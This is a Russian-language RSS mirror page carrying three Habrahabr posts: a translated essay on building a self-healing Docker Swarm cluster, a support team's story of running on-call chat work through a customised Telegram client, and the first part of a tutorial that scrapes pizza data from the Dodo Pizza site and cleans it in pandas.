-Поиск по дневнику

Поиск сообщений в rss_rss_hh_full

 -Подписка по e-mail

 

 -Постоянные читатели

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 1

Habrahabr








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

[Перевод] Создаем самодостаточный Docker-кластер

Пятница, 11 Августа 2017 г. 20:30 + в цитатник

Самодостаточная система — это та, которая способна восстанавливаться и адаптироваться. Восстановление означает, что кластер почти всегда будет в том состоянии, в котором его запроектировали. Например, если копия сервиса выйдет из строя, то системе потребуется ее восстановить. Адаптация же связана с модификацией желаемого состояния, так чтобы система смогла справиться с изменившимися условиями. Простым примером будет увеличение трафика. В этом случае сервисам потребуется масштабироваться. Когда восстановление и адаптация автоматизировано, мы получаем самовосстанавливающуюся и самоадаптирующуюся систему. Такая система является самодостаточной и может действовать без вмешательства человека.


Как выглядит самодостаточная система? Какие ее основные части? Кто действующие лица? В этой статье мы обсудим только сервисы и проигнорируем тот факт, что железо также очень важно. Такими ограничениями мы составим картину высокого уровня, которая описывает (в основном) автономную систему с точки зрения сервисов. Мы опустим детали и взглянем на систему с высоты птичьего полёта.


Если вы хорошо разбираетесь в теме и хотите сразу всё понять, то система изображено на рисунке ниже.


self-sufficient-system


Система с самовосстанавливающимися и самоадаптирующимися сервисами


Возможно, в такой диаграмме сложно разобраться с ходу. Если бы я отделался от вас таким рисунком, вы могли бы подумать, что сопереживание — не самая яркая черта моего характера. В таком случае вы не одиноки. Моя жена думает так же даже безо всяких там диаграмм. Но в этот раз я сделаю всё возможное, чтобы поменять ваше мнение и начать с чистого листа.


Мы можем разделить систему на две основные области — человеческую и машинную. Считайте, что вы попали в Матрицу. Если вы не видели этот фильм, немедленно отложите эту статью, достаньте попкорн и вперёд.


В Матрице мир поработили машины. Люди там мало что делают, кроме тех немногих, которые осознали, что происходит. Большинство живут во сне, который отражает прошедшие события истории человечества. Тоже самое сейчас происходит с современными кластерами. Большинство обращается с ними, как будто на дворе 1999 год. Практически все действия выполняются вручную, процессы громоздкие, а система выживает лишь за счёт грубой силы и впустую затраченной энергии. Некоторые поняли, что на дворе уже 2017 год (по крайней мере на время написания этой статьи) и что хорошо спроектированная система должна выполнять большую часть работы автономно. Практически всё должно управляться машинами, а не людьми.


Но это не означает, что для людей не осталось места. Работа для нас есть, но она больше связана с творческими и неповторяющимися задачами. Таким образом, если мы сфокусируется только на кластерных операциях, человеческая область ответственности уменьшится и уступит место машинам. Задачи распределяются по ролям. Как вы увидите ниже, специализация инструмента или человеком может быть очень узкой, и тогда он будет выполнять лишь один тип задач, или же он может отвечать за множество аспектов операций.


Роль разработчика в системе


В область ответственности человека входят процессы и инструменты, которыми нужно управлять вручную. Из этой области мы пытаемся удалить все повторяющиеся действия. Но это не означает, что она должна вовсе исчезнуть. Совсем наоборот. Когда мы избавляемся от повторяющихся задач, мы высвобождаем время, которое можно потратить на действительно значимые задачи. Чем меньше мы занимаемся задачами, которые можно делегировать машине, тем больше времени мы можем потратить на те задачи, для которых требуется творческий подход. Эта философия стоит в одном ряду с сильными и слабыми сторонами каждого актера этой драмы. Машина хорошо управляется с числами. Они умеют очень быстро выполнять заданные операции. В этом вопросе они намного лучше и надежнее, чем мы. Мы же в свою очередь способны критически мыслить. Мы можем мыслить творчески. Мы можем запрограммировать эти машины. Мы можем сказать им, что делать и как.


Я назначил разработчика главным героем в этой драме. Я намеренно отказался от слова “кодер”. Разработчик — это любой человек, который работает над проектом разработки софта. Он может быть программистом, тестировщиком, гуру операций или scrum-мастером — это всё не важно. Я помещаю всех этих людей в группу под названием разработчик. В результате своей работы они должны разместить некий код в репозиторий. Пока его там нет, его будто бы и не существует. Не важно, располагается ли он на вашем компьютере, в ноутбуке, на столе или на маленьком кусочке бумаги, прикрепленном к почтовому голубю. С точки зрения системы этот код не существует, до тех пор пока он не попадет в репозиторий. Я надеюсь, что этот репозиторий Git, но, по идее, это может быть любое место, где вы можете хранить что-нибудь и отслеживать версии.


Этот репозиторий также входит в область ответственности человека. Хоть это и софт, он принадлежит нам. Мы работаем с ним. Мы обновляем код, скачиваем его из репозитория, сливаем его части воедино и иногда приходим в ужас от числа конфликтов. Но нельзя сделать вывод о том, что совсем не бывает автоматизированных операций, ни о том, что некоторые области машинной ответственности не требуют человеческого вмешательства. И всё же если в какой-то области большая часть задач выполняется вручную, мы будем считать ее областью человеческой ответственности. Репозиторий кода определённо является частью системы, которая требует человеческого вмешательства.


developer-commits-code


Разработчик отправляет код в репозиторий


Посмотрим, что происходит, когда код отправляется в репозиторий.


Роль непрерывного развертывания в системе


Процесс непрерывного развертывания полностью автоматизирован. Никаких исключений. Если ваша система не автоматизирована, то у вас нет непрерывного развертывания. Возможно, вам понадобится вручную деплоить в продакшн. Если вы вручную нажимаете на одну единственную кнопку, на которой жирным написано “deploy”, то ваш процесс является непрерывной доставкой. Такое я могу понять. Такая кнопка может потребоваться с точки зрения бизнеса. И все же уровень автоматизации в таком случае такой же, как и при непрерывном развертывании. Вы здесь только принимаете решения. Если требуется делать что-то еще вручную, то вы либо выполняете непрерывную интеграцию, либо, что более вероятно, делаете что-то такое, в чьем названии нет слова “непрерывный”.


Неважно, идет ли речь о непрерывном развертывании или доставке, процесс должен быть полностью автоматизированным. Все ручные действия можно оправдать только тем, что у вас устаревшая система, которую ваша организация предпочитает не трогать (обычно это приложение на Коболе). Она просто стоит на сервере что-то делает. Мне очень нравятся правила типа “никто не знает, что она делает, поэтому ее лучше не трогать”. Это способ выразить величайшее уважение, сохраняя безопасное расстояние. И все же я предположу, что это не ваш случай. Вы хотите что-нибудь с ней сделать, желание буквально раздирает вас на кусочки. Если же это не так и вам не повезло работать с системой аля “руки прочь отсюда”, то вам не стоит читать эту статью, я удивлён, что вы не поняли этого раньше сами.


Как только репозиторий получает commit или pull request, срабатывает Web hook, который в свою очередь отправляет запрос инструменту непрерывного развертывания для запуска процесса непрерывного развертывания. В нашем случае этим инструментом является Jenkins. Запрос запускает поток всевозможных задач по непрерывному развертыванию. Он проверяет код и проводит модульные тесты. Он создает образ и пушит в регистр. Он запускает функциональные, интеграционные, нагрузочные и другие тесты — те, которым требуется рабочий сервис. В самом конце процесса (не считая тестов) отправляется запрос планировщику, чтобы тот развернул или обновил сервис в кластере. Среди прочих планировщиков мы выбираем Docker Swarm.


jenkins-deployment


Развертывание сервиса через Jenkins


Одновременно с непрерывным развертыванием работает еще другой набор процессов, которые следят за обновлениями конфигураций системы.


Роль конфигурации сервисов в системе


Какой бы элемент кластера ни поменялся, нужно заново конфигурировать какие-то части системы. Может потребоваться обновить конфигурацию прокси, сборщику метрик могут быть нужны новые цели, анализатору логов — обновить правила.


Не важно, какие части системы нужно поменять, главное — все эти изменения должны применяться автоматически. Мало кто будет с этим спорить. Но вот есть большой вопрос: где же найти те части информации, которые следует внедрить в систему? Самым оптимальным местом является сам сервис. Т.к. почти все планировщики используют Docker, логичнее всего хранить информации о сервисе в самом сервисе в виде лейблов. Если мы разместим эту информацию в любом другом месте, то мы лишимся единого правдивого источника и станет очень сложно выполнять авто-обнаружение.


Если информация о сервисе находится внутри него, это не означает, что эту же информацию не следует размещать в других местах внутри кластера. Следует. Однако, сервис — это то место, где должна быть первичная информация, и с этого момента она должна передаваться в другие сервисы. С Docker-ом это очень просто. У него уже есть API, к которому любой может подсоединиться и получить информацию о любом сервисе.


Есть хороший инструмент, который находит информацию о сервисе и распространяет ее по всей системе, — это Docker Flow Swarm Listener (DFSL). Можете воспользоваться любым другим решением или создать свое собственное. Конечная цель этого и любого другого такого инструмента — прослушивать события Docker Swarm. Если у сервиса есть особый набор ярлыков, приложение получит информацию, как только вы установите или обновите сервис. После чего оно передаст эту информацию всем заинтересованным сторонам. В данном случае это Docker Flow Proxy (DFP, внутри которого есть HAProxy) и Docker Flow Monitor (DFM, внутри есть Prometheus). В результате у обоих всегда будет последняя актуальная конфигурация. У Proxy есть путь ко всем публичным сервисам, тогда как у Prometheus есть информация об экспортерах, оповещениях, адресе Alertmanager-а и других вещах.


system-reconfig


Реконфигурация системы через Docker Flow Swarm Listener


Пока идет развертывание и реконфигурация, пользователи должны иметь доступ к нашим сервисам без простоев.


Роль Proxy в системе


У каждого кластера должен быть прокси, который будет принимать запросы от единого порта и перенаправлять их в назначенные сервисы. Единственным исключением из правила будет публичный сервис. Для такого сервиса под вопросом будет не только необходимость прокси, но и кластера вообще. Когда запрос приходит в прокси, он оценивается и в зависимости от его пути, домена и некоторых заголовков перенаправляется в один из сервисов.


Благодаря Docker-у некоторые аспекты прокси теперь устарели. Больше не нужно балансировать нагрузку. Сеть Docker Overlay делает это за нас. Больше не нужно поддерживать IP-ноды, на которых хостятся сервисы. Service discovery делает это за нас. Все, что требуется от прокси, — это оценить заголовки и переправить запросы, куда следует.


Поскольку Docker Swarm всегда использует скользящие обновления, когда изменяется какой-либо аспект сервиса, процесс непрерывного развертывания не должен становиться причиной простоя. Чтобы это утверждение было верным, должны выполняться несколько требований. Должно быть запущено по крайней мере две реплики сервиса, а лучше еще больше. Иначе, если реплика будет только одна, простой неизбежен. На минуту, секунду или миллисекунду — неважно.


Простой не всегда становится причиной катастрофы. Все зависит от типа сервиса. Когда обновляется Prometheus, от простоя никуда не деться, потому что программа не умеет масштабироваться. Но этот сервис нельзя назвать публичным, если только у вас не несколько операторов. Несколько секунд простоя никому не навредят.


Совсем другое дело — публичный сервис вроде крупного интернет-магазина с тысячами или даже миллионами пользователей. Если такой сервис приляжет, то он быстро потеряет свою репутацию. Мы, потребители, так избалованы, что даже один-единственный сбой заставит нас поменять свою точку зрения и пойти искать замену. Если этот сбой будет повторяться снова и снова, потеря бизнеса практически гарантирована. У непрерывного развертывания много плюсов, но так как к нему прибегают довольно часто, становится все больше потенциальных проблем, и простой — одна из них. В самом деле, нельзя допускать простоя в одну секунду, если он повторяется несколько раз за день.


Есть и хорошие новости: если объединить rolling updates и множественные реплики, то можно избежать простоя, при условии, что прокси всегда будет последней версии.


Если объединить повторяющиеся обновления с прокси, который динамически перенастраивает сам себя, то мы получим ситуацию, когда пользователь может в любой момент отправить запрос сервису и на него не будет влиять ни непрерывное развертывание, ни сбой, ни какие-либо другие изменения состояния кластера. Когда пользователь отправляет запрос домену, этот запрос проникает в кластер через любую работающую ноду, и его перехватывает сеть Ingress Docker-а. Сеть в свою очередь определяет, что запрос использует порт, на котором слушает прокси и перенаправляет его туда. Прокси, с другой стороны, оценивает путь, домен и другие аспекты запроса и перенаправляет его в назначенный сервис.


Мы используем Docker Flow Proxy (DFP), который добавляет нужный уровень динамизма поверх HAProxy.


request-flow


Путь запроса к назначенному сервису


Следующая роль, которую мы обсудим, связана со сбором метрик.


Роль метрик в системе


Данные — ключевая часть любого кластера, особенно того, который нацелен на самоадаптацию. Вряд ли кто-то оспорит, что нужны и прошлые, и нынешние метрики. Случись что, без них мы будем бегать как тот петух по двору, которому повар отрубил голову. Главный вопрос не в том, нужны ли они, а в том, что с ними делать. Обычно операторы бесконечными часами пялятся на монитор. Такой подход далек от эффективности. Взгляните лучше на Netflix. Они хотя бы подходят к вопросу весело. Система должна использовать метрики. Система генерирует их, собирает и принимает решения о том, какие действия предпринять, когда эти метрики достигают неких порогов. Только тогда систему можно назвать самоадаптирующейся. Только когда она действует без человеческого вмешательства, они самодостаточна.


Самоадаптирующейся системе надо собирать данные, хранить их и применять к ним разные действия. Не будем обсуждать, что лучше — отправка данных или их сбор. Но поскольку мы используем Prometheus для хранения и оценки данных, а также для генерации оповещений, то мы будем собирать данные. Эти данные доступны от экспортеров. Они могут быть общими (например, Node Exporter, cAdvisor и т.д.) или специфичными по отношению к сервису. В последнем случае сервисы должны выдавать метрики в простом формате, который ожидает Prometheus.


Независимо от потоков, которые мы описали выше, экспортеры выдают разные типы метрик. Prometheus периодически собирает их и сохраняет в базе данных. Помимо сбора метрик, Prometheus также постоянно оценивает пороги, заданные алертами, и если система достигает какого-то из них, данные передаются в Alertmanager. В большинстве случаев эти пределы достигаются при изменении условий (например, увеличилась нагрузка системы).


data-collection


Сбор данных и оповещений


Роль оповещений в системе


Оповещения разделяются на две основные группы в зависимости от того, кто их получает — система или человек. Когда оповещение оценивается как системное, запрос обычно направляется сервису, который способен оценить ситуацию и выполнить задачи, которые подготовят систему. В нашем случае это Jenkins, который выполняет одну из предопределенных задач.


В самые частые задачи, которые выполняет Jenkins, обычно входит масштабировать (или демасштабировать) сервис. Впрочем, прежде чем он предпримет попытку масштабировать, ему нужно узнать текущее количество реплик и сравнить их с высшим и низшим пределом, которые мы задали при помощи ярлыков. Если по итогам масштабирования число реплик будет выходить за эти пределы, он отправит уведомление в Slack, чтобы человек принял решение, какие действия надо предпринять, чтобы решить проблему. С другой стороны, когда поддерживает число реплик в заданных пределах, Jenkins отправляет запрос одному из Swarm-менеджеров, который, в свою очередь, увеличивает (или уменьшает) число реплик в сервисе. Это процесс называется самоадаптацией, потому что система адаптируется к изменениям без человеческого вмешательства.


self-adapt


Уведомление системы для самоадаптации


Хоть и нашей целью является полностью автономная система, в некоторых случая без человека не обойтись. По сути, это такие случаи, которые невозможно предвидеть. Когда случается что-то, что мы ожидали, пусть система устранит ошибку. Человека надо звать, только когда случаются неожиданности. В таких случаях Alertmanager шлет уведомление человеку. В нашем варианте это уведомление через Slack, но по идее это может быть любой другой сервис для передачи сообщений.


Когда вы начинаете проектировать самовосстанавливающуюся систему, большинство оповещений попадут в категорию “неожиданное”. Вы не можете предугадать все ситуации. Единственное, что вы можете в данном случае — это убедиться, что неожиданное случается только один раз. Когда вы получаете уведомление, ваша первая задача — адаптировать систему вручную. Вторая — улучшить правила в Alertmanager и Jenkins, чтобы когда ситуация повторится, система могла бы справиться с ней автоматически.


human-notification


Уведомление для человека, когда случается что-то неожиданное


Настроить самоадаптирующуюся систему тяжело, и эта работа бесконечная. Ее постоянно нужно улучшать. А как насчет самовосстановления? Так ли сложно достичь и его?


Роль планировщика в системе


В отличие от самоадаптации, самовосстановления достичь сравнительно легко. Пока в наличии достаточно ресурсов, планировщик всегда будет следить, чтобы работало определенное число реплик. В нашем случае это планировщик Docker Swarm.


Реплики могут выходить из строя, они могут быть убиты и они могут находиться внутри нездорового нода. Это все не так важно, поскольку Swarm следит за тем, чтобы они перезапускались при необходимости и (почти) всегда нормально работали. Если все наши сервисы масштабируемы и на каждом из них запущено хотя бы несколько реплик, простоя никогда не будет. Процессы самовосстановления внутри Docker-а сделают процессы самоадаптации легко доступными. Именно комбинация этих двух элементов делает нашу систему полностью автономной и самодостаточной.


Проблемы начинают накапливаться, когда сервис нельзя масштабировать. Если у нас не может быть нескольких реплик сервиса, Swarm не сможет гарантировать отсутствие простоев. Если реплика выйдет из строя, она будет перезапущена. Впрочем, если это единственная доступная реплика, период между аварией и повторным запуском превращается в простой. У людей все точно так же. Мы заболеваем, лежим в постели и через какое-то время возвращаемся на работу. Если мы единственный работник в этой компании и нас некому подменить, пока мы отсутствуем, то это проблема. То же применимо и к сервисам. Для сервиса, который хочет избежать простоев, необходимо как минимум иметь две реплики.


docker-swarm


Docker Swarm следит, чтобы не было простоев


К сожалению, наши сервисы не всегда проектируются с учетом масштабируемости. Но даже когда она учитывается, всегда есть шанс, что ее нет у какого-то из сторонних сервисов, которыми вы пользуетесь. Масштабируемость — это важное проектное решение, и мы обязательно должны учитывать это требование, когда мы выбираем какой-то новый инструмент. Надо четко различать сервисы, для которых простой недопустим, и сервисы, которые не подвергнут систему риску, если они будут недоступны в течение нескольких секунд. Как только вы научитесь их различать, вы всегда будете знать, какие из сервисов масштабируемы. Масштабируемость — это требование беспростойных сервисов.


Роль кластера в системе


В конце концов все, что мы делаем, находится внутри одного и более кластеров. Больше не существует индивидуальных серверов. Не мы решаем, что куда направить. Это делают планировщики. С нашей (человеческой) точки зрения самый маленький объект — это кластер, в котором собраны ресурсы типа памяти и CPU.


everything-is-a-cluster


Все является кластером

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335464/


Как настроить командную работу и сохранять спокойствие в чатах Телеграма, если всё горит, и все в аду

Пятница, 11 Августа 2017 г. 17:03 + в цитатник
У нас беспокойная работа — с сайтами, которые мы поддерживаем, постоянно что-то происходит, и на любую аварию мы должны среагировать за 15 минут — все это в режиме 24/7, семь дней в неделю. Задачи для админов невозможно запланировать — сложно представить себе такой план на неделю: случится 25 аварий, и мы их устраним одну за другой. О том, как мы пытаемся с этим жить, я и хочу рассказать.

image

Что такое авария? Может закончиться место на диске (или похоже, скоро закончится), может увеличиться время ответа. Если мы говорим, что среагируем за 15 минут, это означает, что дежурный администратор должен сделать это за 7-8 минут. За это время он получает оповещение, подтверждает, что принял, расследует его и в случае необходимости начинает чинить.

image

Сейчас таких оповещений от 100 до 500 в час на человека. Днем их бывает больше, ночью меньше, в «черную пятницу» их безумно много, потому что интернет-магазины почему-то любят начать «черную пятницу» на день раньше каждый год, и не всегда это планируется заранее (каждый раз они говорят, что не будут вообще в ней участвовать; один наш клиент как-то запустил рассылку на 300 тыс. человек через полчаса после того, как сказал, что в этой «черной пятнице» не участвует, и мы получили в итоге порядка 900 алертов в час на трех дежурных админов).

Основная работа по поддержке у нас идет через чаты (в среднем за десять минут могут прийти уведомления в десять чатов). Ни тикетная система, ни клиент не должен говорить, что что-то упало, это мы должны заметить первыми и сказать клиенту. Это выглядит так:
image
или так:
image

В таких чатах у нас получается до 50 сообщений каждые 10 минут. До восьми задач ставится через каждый чат одновременно. Это ускоряет работу — если попросить клиента написать задачу в тикете, клиент долго будет ее формулировать, и потом еще какое-то количество времени уйдет на то, чтобы сформулировать эту задачу для исполнителей правильно. Если клиент начинает разговаривать в чате, то это можно обсудить немедленно, а потом уже как-то перенести в систему управления проектами. Клиенту проще поставить задачу в диалоге, нам проще попытаться уточнить, что он имеет в виду, но возникают определенные проблемы, связанные с тем, что задача в чате не выглядит как полноценная задача для администратора. Таких задач у сотрудника возникает около пяти в час — это может быть какое-то изменение конфигурации на сервере, установка какого-нибудь софта, создание дополнительного бэкапа и т.д.

Сейчас у нас в среднем 90 активных чатов каждый день, и общение в них неравномерно по времени:
image

В чатах возникает много задач, и за ними трудно уследить, их очень просто потерять. Оповещений очень много, на них надо реагировать вовремя — иначе мы нарушим SLA. Ну и в конце концов, когда у вас получается порядка 500 алертов в час, вы немножко устаете, потому что нужно с этим как-то жить.

Мы долго жили в скайпе. Сначала было очень плохо, потом стало очень-очень плохо, потом стало совсем плохо. В какой-то момент все, и наши клиенты тоже, стали переходить на Телеграм. И поскольку нас было довольно большая экспертиза в разработке, мы решили попробовать переписать его для себя так, чтобы это решало наши проблемы.

Почему нас не устроил Телеграм, или любой другой мессенджер, как он есть? Никто из разработчиков не думает, что у человека может быть 80 чатов одновременно. Слева в окне мессенджера показывается малое количество чатов — не то, которое нам нужно для нашей работы. В обычной жизни, по сравнению с нами, человек пишет довольно редко. У нас же в пики постоянно меняется очередность чатов, между ними как минимум неудобно переключаться (ну легко что-то потерять). По списку часто непонятно, где мы не успели ответить или еще не отвечали, и где приближается время, что нужно срочно ответить.

В своем клиенте Телеграма мы уменьшили высоту каждого чата в отдельности.
image

Стали отслеживать SLA по тому, где в чате последним написал клиент, и стали подсвечивать чаты, где нужно ответить нам.
image

Сгруппировали чаты по необходимости ответа, добавили функцию отметить все чаты как прочитанные. Зачем это сделали? У нас за день накапливается, если сотрудник не дежурил, порядка 150 чатов, в которых что-то писали — это уже неактуально.

image
Специально для меня сделали в настройках чата техсаппорта запрет для моих сообщений. Потому что иногда я туда прихожу, пытаюсь что-то решать, они нажимают галочку, и я больше такой возможности не имею.

Если клиент просит сделать что-то в чате, дежурный по чатам правым кликом создает из этого диалога таск в Битрикс24 (его мы тоже переписали для себя — взяли за основу «Битрикс 24 в коробке», он написан на php, у него есть тикеты, API).
image

Клиент может внести в тикет какие-то дополнительные данные, отслеживать выполнение, там же ведется дальнейшая работа.
image

У дежурного по смене есть список тасков, которые есть сейчас в работе. В течение суток по нашему SLA мы должны сказать клиенту, когда мы этот таск выполним.

Что еще сделали:
  • «звездочку»: если хочется не забыть про чат (например, в нем есть какая-то информация, к которой надо вернуться), то можно пометить его звездочкой, и позже заметить и вернуться;
  • настройку «отключить создание preview» для ссылок (для того, чтобы не засорять чат превьюшками);
  • несколько настроек, которые позже сделал сам Телеграм — закрепленные чаты, настройку «не уведомлять, когда я печатаю».

Скачать наш клиент Телеграма для Mac OS можно тут, а для Windows — тут.

image

От безумного ритма работы люди устают, поэтому с 2010 года (момента, когда поддержка сайтов стала нашей основной услугой) и до оптимизации рабочих коммуникаций в Телеграме мы сделали много шагов, облегчивших сотрудникам жизнь, и не дающих забыть, что вместе мы делаем важное дело:

  • наняли больше людей и ввели восьмичасовые смены, чтобы все успевали поспать (а были времена, когда не успевали);
  • начали вести базу знаний и ретроспективу по инцидентам, чтобы передавать знания новичкам;
  • формализовали работу поддержки (сделали расписание дежурств, правила постановки задач, чеклисты);
  • открыли офисы в других часовых поясах (главный находится в Иркутске, еще два — в Москве и Санкт-Петербурге)
  • переключаем сотрудников на разные задачи, если они устали и хотят развития — есть дежурные админы, которые работают с горящими задачами, админы для более долгосрочных и сложных задач, админы в бэк-офисе, которые делают наши внутренние задачи (у нас есть собственная система мониторинга, системы бэкапов, Isolate и т.д.), а с недавних пор и R&D отдел — скоро расскажем, чем он занимается.

А еще у нас в штате есть директор по здравому смыслу. Серьезно, в трудовой книжке так и написано — «директор по здравому смыслу». Когда кто-то что пытается сделать не что-то то, все приходят к Вите и говорят: «Витя, нам нужен здравый смысл». Кстати, Витю на самом деле зовут Андрей, но все его зовут Витя.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335446/


Метки:  

Учим робота готовить пиццу. Часть 1: Получаем данные

Пятница, 11 Августа 2017 г. 16:19 + в цитатник


Автор изображения: Chuchilko


Не так давно, после завершения очередного конкурса на Kaggle — вдруг возникла идея попробовать сделать тестовое ML-приложение.
Например, такое: "помоги роботу сделать пиццу".


Разумеется, основная цель этого ровно та же — изучение нового.


Захотелось разобраться, как работают генеративные нейронные сети (Generative Adversarial Networks — GAN).


Ключевой идеей было обучить GAN, который по выбранным ингредиентам сам собирает картинку пиццы.


Ну что ж, приступим.


Начало


Разумеется, для тренировки любого алгоритма машинного обучения, нам первым делом нужны данные.
В нашем случае, вариантов не так много — либо находить готовый датасет, либо вытаскивать данные из интерента самотоятельно.


И тут я подумал — а почему бы не дёрнуть данные с сайта Додо-пиццы.


Disclaimer

Я не имею никакого отношения к данной сети пиццерий.
Честно говоря, даже их пицца мне не особенно нравится — тем более по цене (и размерам), в моём городе (Калининград) найдутся более привлекательные пиццерии.


Итак, в первом пункте плана действий появилось:


  1. получить с сайта нужные данные

Загрузка данных


Так как вся нужная нам информация доступна на сайте Додо-пиццы, применим так называемый парсинг сайтов (он же — Web Scraping).


Здесь нам поможет статья: Web Scraping с помощью python.


И всего две библиотеки:


import requests
import bs4

Открываем сайт додо-пиццы, щелкаем в браузере "Просмотреть код" и находим элемент с нужными данными.


На заглавной странице можно получить только базовый список пицц и их состав.
Более подробную информацию можно получить, кликнув на понравившийся товар. Тогда появится всплывающее окошко, с подробной информацией и красивыми картинками о пицце.

Это окошко появляется в результате GET-запроса, который можно эмулировать, передав нужные заголовки:


headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36',
    'Referer': siteurl,
    'x-requested-with': 'XMLHttpRequest'
}
res = requests.get(siteurl, headers = headers)

в ответ получаем кусок html-кода, который уже можно распарсить.


Сразу же можно обратить внимание, что статический контент распространяется через CDN akamaihd.net


После непродолжительных эспериментов — получился скрипт dodo_scrapping.py, который получает с сайта додо-пиццы название пицц, их состав, а так же сохраняет в отдельные директории по три фотографии пицц.


На выходе работы скрипта получается несколько csv-файлов и директорий с фотографиями.
Для этого выполняются следующие действия:


  • получение списка городов (на тот момент — 146)
  • получение списка пицц (для Города)
  • получение информации о пицце
  • загрузка фотографий пиццы

Информацию о пицце сохраняется в табличку вида:
город, URL города, название, названиеENG, URL пиццы, содержимое, цена, калории, углеводы, белки, жиры, диаметр, вес


Что хорошо в программировании скриптов автоматизации — их можно запустить и откинувшись на списку кресла наблюдать за их работой...


На выходе получилось всего 20 пицц.
На каждую пиццу получается по 3 картинки. Нас интересует только третья картинка, на которой есть вид пиццы сверху.


Разумеется, после получения картинок, их нужно дополнительно обработать — вырезать и отцентровать пиццу.
Думаю, это не должно составить особых проблем, так как все картинки одинаковые — 710х380.


Обработка данных


После scraping-а сайта, получили привычные по kaggle — csv-файл с данными (и директории с картинками).
Настала пора изучить пиццы.


Подключаем необходимые библиотеки.


import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
%matplotlib inline 

import seaborn as sns

np.random.seed(42)

import cv2
import os
import sys

df = pd.read_csv('pizzas.csv', encoding='cp1251')
print(df.shape)

(20, 13)

df.info()


RangeIndex: 20 entries, 0 to 19
Data columns (total 13 columns):
city_name         20 non-null object
city_url          20 non-null object
pizza_name        20 non-null object
pizza_eng_name    20 non-null object
pizza_url         20 non-null object
pizza_contain     20 non-null object
pizza_price       20 non-null int64
kiloCalories      20 non-null object
carbohydrates     20 non-null object
proteins          20 non-null object
fats              20 non-null object
size              20 non-null int64
weight            20 non-null object
dtypes: int64(2), object(11)
memory usage: 2.1+ KB

df.head()


city_name city_url pizza_name pizza_eng_name pizza_url pizza_contain pizza_price kiloCalories carbohydrates proteins fats size weight
0 Калининград /Kaliningrad Двойная пепперони double-pepperoni https://dodopizza.ru/Kaliningrad/Product/doubl... Томатный соус, двойная порция пепперони и увел... 395 257,52 26,04 10,77 12,11 25 470±50
1 Калининград /Kaliningrad Крэйзи пицца crazy-pizza https://dodopizza.ru/Kaliningrad/Product/crazy... Томатный соус, увеличенные порции цыпленка и п... 395 232,37 31,33 9,08 7,64 25 410±50
2 Калининград /Kaliningrad Дон Бекон pizza-don-bekon https://dodopizza.ru/Kaliningrad/Product/pizza... Томатный соус, бекон, пепперони, цыпленок, кра... 395 274 25,2 9,8 14,8 25 454±50
3 Калининград /Kaliningrad Грибы и ветчина gribvetchina https://dodopizza.ru/Kaliningrad/Product/gribv... Томатный соус, ветчина, шампиньоны, моцарелла 315 189 23,9 9,3 6,1 25 370±50
4 Калининград /Kaliningrad Пицца-пирог pizza-pirog https://dodopizza.ru/Kaliningrad/Product/pizza... Сгущенное молоко, брусника, ананасы 315 144,9 29,8 2,9 2,7 25 420±50


Приведём данные к более удобному виду.


df['kiloCalories'] = df.kiloCalories.apply(lambda x: x.replace(',','.'))
df['carbohydrates'] = df.carbohydrates.apply(lambda x: x.replace(',','.'))
df['proteins'] = df.proteins.apply(lambda x: x.replace(',','.'))
df['fats'] = df.fats.apply(lambda x: x.replace(',','.'))
df['weight'], df['weight_err'] = df['weight'].str.split('±', 1).str

df['kiloCalories'] = df.kiloCalories.astype('float32')
df['carbohydrates'] = df.carbohydrates.astype('float32')
df['proteins'] = df.proteins.astype('float32')
df['fats'] = df.fats.astype('float32')
df['weight'] = df.weight.astype('int64')
df['weight_err'] = df.weight_err.astype('int64')

df.head()


city_name city_url pizza_name pizza_eng_name pizza_url pizza_contain pizza_price kiloCalories carbohydrates proteins fats size weight weight_err
0 Калининград /Kaliningrad Двойная пепперони double-pepperoni https://dodopizza.ru/Kaliningrad/Product/doubl... Томатный соус, двойная порция пепперони и увел... 395 257.519989 26.040001 10.77 12.11 25 470 50
1 Калининград /Kaliningrad Крэйзи пицца crazy-pizza https://dodopizza.ru/Kaliningrad/Product/crazy... Томатный соус, увеличенные порции цыпленка и п... 395 232.369995 31.330000 9.08 7.64 25 410 50
2 Калининград /Kaliningrad Дон Бекон pizza-don-bekon https://dodopizza.ru/Kaliningrad/Product/pizza... Томатный соус, бекон, пепперони, цыпленок, кра... 395 274.000000 25.200001 9.80 14.80 25 454 50
3 Калининград /Kaliningrad Грибы и ветчина gribvetchina https://dodopizza.ru/Kaliningrad/Product/gribv... Томатный соус, ветчина, шампиньоны, моцарелла 315 189.000000 23.900000 9.30 6.10 25 370 50
4 Калининград /Kaliningrad Пицца-пирог pizza-pirog https://dodopizza.ru/Kaliningrad/Product/pizza... Сгущенное молоко, брусника, ананасы 315 144.899994 29.799999 2.90 2.70 25 420 50


Учитывая, что пищевая ценность продукта приводится в расчёте на 100 грамм, то для лучшего понимания — домножим их на массу пиццы.


df['pizza_kiloCalories'] = df.kiloCalories * df.weight / 100
df['pizza_carbohydrates'] = df.carbohydrates * df.weight / 100
df['pizza_proteins'] = df.proteins * df.weight / 100
df['pizza_fats'] = df.fats * df.weight / 100

df.describe()


pizza_price kiloCalories carbohydrates proteins fats size weight weight_err pizza_kiloCalories pizza_carbohydrates pizza_proteins pizza_fats
count 20.00000 20.000000 20.000000 20.000000 20.00000 20.0 20.000000 20.0 20.000000 20.000000 20.000000 20.000000
mean 370.50000 212.134491 25.443501 8.692500 8.44250 25.0 457.700000 50.0 969.942043 115.867950 39.857950 38.736650
std 33.16228 34.959122 2.204143 1.976283 3.20358 0.0 43.727746 0.0 175.835991 8.295421 9.989803 15.206275
min 315.00000 144.899994 22.100000 2.900000 2.70000 25.0 370.000000 50.0 608.579974 88.429999 12.180000 11.340000
